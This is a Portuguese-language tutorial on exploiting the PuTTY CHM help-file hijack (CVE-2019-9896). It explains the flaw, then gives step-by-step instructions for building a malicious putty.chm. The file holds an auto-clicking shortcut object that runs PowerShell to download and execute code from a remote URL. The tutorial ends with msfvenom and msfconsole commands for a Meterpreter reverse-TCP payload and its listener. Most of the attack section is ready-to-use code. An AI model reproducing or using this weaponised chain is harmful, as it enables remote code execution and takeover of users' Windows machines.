
Potencial execução de código malicioso via sequestro de CHM (CVE-2019-9896)
Potencial execução de código malicioso via sequestro de CHM
Até e incluindo a versão 0.70, quando você iniciava a ajuda online em qualquer uma das ferramentas GUI do PuTTY para Windows, a ferramenta localizava seu arquivo de ajuda procurando ao lado de seu próprio executável.
Se você estivesse executando o PuTTY de um diretório onde código não relacionado pudesse organizar a colocação de arquivos (por exemplo, executando-o diretamente do diretório de download padrão do navegador), isso significa que se alguém conseguisse colocar um arquivo chamado putty.chm nesse diretório (por exemplo, atraindo você a clicar em um link de download com esse nome), então o PuTTY acreditaria que era o arquivo de ajuda real e o passaria para htmlhelp.exe.
Isso é uma vulnerabilidade porque arquivos de Ajuda HTML (.chm) podem, por sua vez, organizar a execução de código de sua escolha, por exemplo, incorporando um elemento HTML que é um atalho do Windows, além de Javascript para clicá-lo.
Mais detalhes: https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-chm-hijack.html
CHM é uma extensão para o formato de arquivo HTML Compilado, mais comumente usado pelo programa de ajuda baseado em HTML da Microsoft. Pode conter muitos documentos HTML compactados e as imagens e JavaScript aos quais eles vinculam. Os recursos do CHM incluem sumário, índice e pesquisa de texto completo.
No passado, agentes de ameaças usavam arquivos CHM para soltar o arquivo backdoor, que é comumente usado em ataques direcionados.
https://www.bleepingcomputer.com/news/security/malicious-chm-files-being-used-to-install-brazilian-banking-trojans/ https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/
Precisamos do toolkit HTML Help Workshop para criar um arquivo CHM. Após a instalação, inicie a ferramenta HTML Help Workshop.
Clique em File > New > Project e siga os passos abaixo:
Criando Projeto HTML Help
Tela de Novo Projeto > Next > Browse
Especifique o nome do seu arquivo de projeto e onde você gostaria que ele fosse criado.
Preencha o Nome do arquivo: putty e clique em "Open"
Especifique seu Projeto HTML Help
Selecione arquivos HTML (.htm)
Especifique onde seus arquivos .htm estão localizados.
Botão Add.. e selecione um diretório já criado para o exploit conter seu arquivo malicioso, como putty.htm
Selecione um arquivo HTM
O assistente cria um novo Projeto HTML Help. Precisamos fazer alterações.
Na ferramenta, clique duas vezes no htm criado para editá-lo, depois insira o código abaixo para criar um arquivo de Ajuda básico:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<meta name="GENERATOR" content="Microsoft® HTML Help Workshop 4.1">
<Title>putty</Title>
</HEAD>
<BODY>
</BODY>
</HTML>
<html>
<title> PuTTY Help </title>
<head>
</head>
<body>
<OBJECT id=shortcut classid="clsid:52a2aaae-085d-4187-97ea-8c30db990436" width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap:shortcut">
<PARAM name="Item1" value=",powershell.exe, -nop -NoProfile -WindowsStyle 1 -c -IEX (New-Object Net.WebClient).DownloadString('{YOUR MALICIOUS FILE URL}')">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
shortcut.Click();
</SCRIPT>
<h2 align=center> PuTTY CHM </h2>
<p><h3 align=center> Welcome! </h3></p>
</body>
</html>
Criar arquivo malicioso
Como crio um Payload TCP Meterpreter simples para Windows?
msfvenom -p windows/meterpreter/reverse_tcp LHOST={YOUR IP} LPORT={PORT } -f exe > malware.exe
Quando você clica duas vezes no botão Ajuda, um putty.exe é gerado como filho de malware.exe, que é o interpretador do arquivo binário CHM. (Seus arquivos maliciosos putty.chm e putty.exe devem estar no mesmo diretório)
Gera um malware
Como obtenho o shell meterpreter?
msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost {YOUR IP}
lhost => {YOUR IP}
msf exploit(multi/handler) > set lport {PORT}
lport => {PORT}
msf exploit(multi/handler) > run
Recursos: